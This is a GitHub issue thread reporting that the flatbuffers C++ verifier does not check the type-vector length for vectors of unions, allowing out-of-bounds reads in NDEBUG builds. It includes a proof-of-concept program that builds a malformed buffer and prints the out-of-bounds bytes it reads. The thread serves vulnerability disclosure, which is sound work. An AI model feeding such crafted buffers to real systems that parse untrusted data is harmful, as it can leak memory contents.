flatbuffers icon indicating copy to clipboard operation
flatbuffers copied to clipboard

[C++] Vector of unions verifier does not check type vector length

Open Muon opened this issue 8 months ago • 3 comments

The length of the type vector is not checked when verifying a vector of unions. Instead, the code assumes that it is as long as the value vector:

https://github.com/google/flatbuffers/blob/bd1b2d0bafb8be6059a29487db9e5ace5c32914d/src/reflection.cpp#L152-L160

If the code is not compiled with NDEBUG, the out-of-bounds access will be caught by the assert in Get(). However, this is a potential security problem for release builds operating on untrusted flatbuffers.

Muon avatar Mar 31 '25 05:03 Muon

Heyoo,

I have invested some time in experimenting with your issue and I wanted to share a practical example.

When the type_vec is serialized to the end of the FlatBuffer and it's in-buffer-length field is set to 0, the verifier in L154 won't return with an error. Afterwards, because the length is not checked anymore, the type_vec->Get(j) in L157 would indeed read out-of-bounds memory past the end of the buffer when NDEBUG is used. The out-of-bounds values are then locally available in utype. With VerifyUnion() in L159, the function returns with false when utype contains a value that exceeds the enum size of union types from the reflection schema.

About how much of a threat this is, somebody else has to consider.

Attached there is a modified demo code on what such an untrusted, bad FlatBuffer could look like.

Cheers kendegemaro

#define NDEBUG

#include "flatbuffers/flatbuffers.h"
#include "flatbuffers/reflection.h"
#include "flatbuffers/util.h"
#include "Schema_generated.h"

#include <string>
#include <fstream>
#include <iostream>

bool VerifyVectorX(flatbuffers::Verifier &v,
                         const reflection::Schema &schema,
                         const flatbuffers::Table &table,
                         const reflection::Field &vec_field);

int main()
{
  // Don't go too high up.
  const uint32_t numberOfOutOfBoundsBytesRead = 128;
  
  const uint32_t staticBufferSize = 0x20;
  const uint32_t bufferSize = staticBufferSize + numberOfOutOfBoundsBytesRead * 4;

  uint8_t* badFlatbuffer = new uint8_t[bufferSize]
  {
    0x0C, 0x00, 0x00, 0x00, // root table offset
    
    // vTable
    0x08, 0x00,             // vtable size
    0x0C, 0x00,             // table size
    0x04, 0x00,             // relPos to union type vector
    0x08, 0x00,             // relPos to union vector

    // Root table
    0x08, 0x00, 0x00, 0x00, // relPos to vTable
    0x00, 0x00, 0x00, 0x00, // offset to unionType vector, set below
    0x04, 0x00, 0x00, 0x00, // offset to union vector

    // Vector data
    // ... generated below
  };

  uint32_t* badFlatbuffer32 = reinterpret_cast<uint32_t*>(badFlatbuffer);
  
  // Generate the rest of the bad flatbuffer
  // Offset to unionType vector
  badFlatbuffer32[4] = numberOfOutOfBoundsBytesRead * 4 + 12;
  // element count of union vector
  badFlatbuffer32[6] = numberOfOutOfBoundsBytesRead;

  for (uint32_t i = 0; i < numberOfOutOfBoundsBytesRead; i++)
  {
    // Fill the union vector with zero-offsets
    badFlatbuffer32[7 + i] = 0; 
  }

  // Element count of unionType vector is 0, so the verifier does not return with error
  badFlatbuffer32[7 + numberOfOutOfBoundsBytesRead] = 0;
  
  // Test case
  std::ifstream t(".\\Schema.bfbs");
  std::stringstream schemaBuffer;
  schemaBuffer << t.rdbuf();
  const reflection::Schema& reflectionSchema = *reflection::GetSchema(schemaBuffer.str().c_str());
  const reflection::Object* schemaObject = reflectionSchema.objects()->Get(3); // Your table, that contains the vector of unions
  const reflection::Field* schemaVectorField = schemaObject->fields()->Get(0); // Your union vector field

  flatbuffers::Verifier v(badFlatbuffer, bufferSize);
  auto badTable = flatbuffers::GetRoot<flatbuffers::Table>(badFlatbuffer);

  std::cout << "Testing with verifier ..." << std::endl;
  bool result = VerifyVectorX(v, reflectionSchema, *badTable, *schemaVectorField);

  return 0;
}

bool VerifyVectorX(flatbuffers::Verifier &v,
                         const reflection::Schema &schema,
                         const flatbuffers::Table &table,
                         const reflection::Field &vec_field)
{
  FLATBUFFERS_ASSERT(vec_field.type()->base_type() == reflection::Vector);
  if (!table.VerifyField<flatbuffers::uoffset_t>(v, vec_field.offset(), sizeof(flatbuffers::uoffset_t)))
  return false;

  switch (vec_field.type()->element()) {
    case reflection::Union: {
      auto vec = flatbuffers::GetFieldV<flatbuffers::Offset<uint8_t>>(
          table, vec_field);
      if (!v.VerifyVector(vec)) return false;
      if (!vec) return true;
      auto type_vec = table.GetPointer<flatbuffers::Vector<uint8_t> *>(vec_field.offset() -
                                                          sizeof(flatbuffers::voffset_t));
      if (!v.VerifyVector(type_vec)) 
      {
        std::cout << "  Verifier prevented out of bounds memory access!" << std::endl;
        return false;
      }
      for (flatbuffers::uoffset_t j = 0; j < vec->size(); j++) {
          //  get union type from the prev field
          auto utype = type_vec->Get(j);
          auto elem = vec->Get(j);

          std::cout 
            << "  Out of bounds memory value accessed: 0x" 
            << std::hex 
            << std::uppercase
            << std::setw(2)
            << std::setfill('0')
            << (uint16_t)utype 
            << std::dec 
            << " (" << utype << ")"
            << std::endl;

            // Usually the VerifyUnion() would force the function to quit here, when utype exceeds the size of
            // the union type enum from the reflection schema.
      }
    }
  }
  return true;
}

kendegemaro avatar Aug 26 '25 14:08 kendegemaro

The specific concern isn't that about type_vec or vec being individually invalid, but that if vec->size() > type_vec->size(), then the type_vec->Get() call will eventually be passed type_vec->size(), which is out of bounds for the vector.

FLATBUFFERS_ASSERT defaults to the standard assert() macro:

https://github.com/google/flatbuffers/blob/067bfdbde9b10c1beb5d6b02d67ae9db8b96f736/include/flatbuffers/base.h#L19-L25

So if NDEBUG is defined, the index passed to Get() is not checked:

https://github.com/google/flatbuffers/blob/067bfdbde9b10c1beb5d6b02d67ae9db8b96f736/include/flatbuffers/vector.h#L192-L195

Muon avatar Aug 26 '25 22:08 Muon

I understand now, my above comment is updated.

kendegemaro avatar Aug 27 '25 07:08 kendegemaro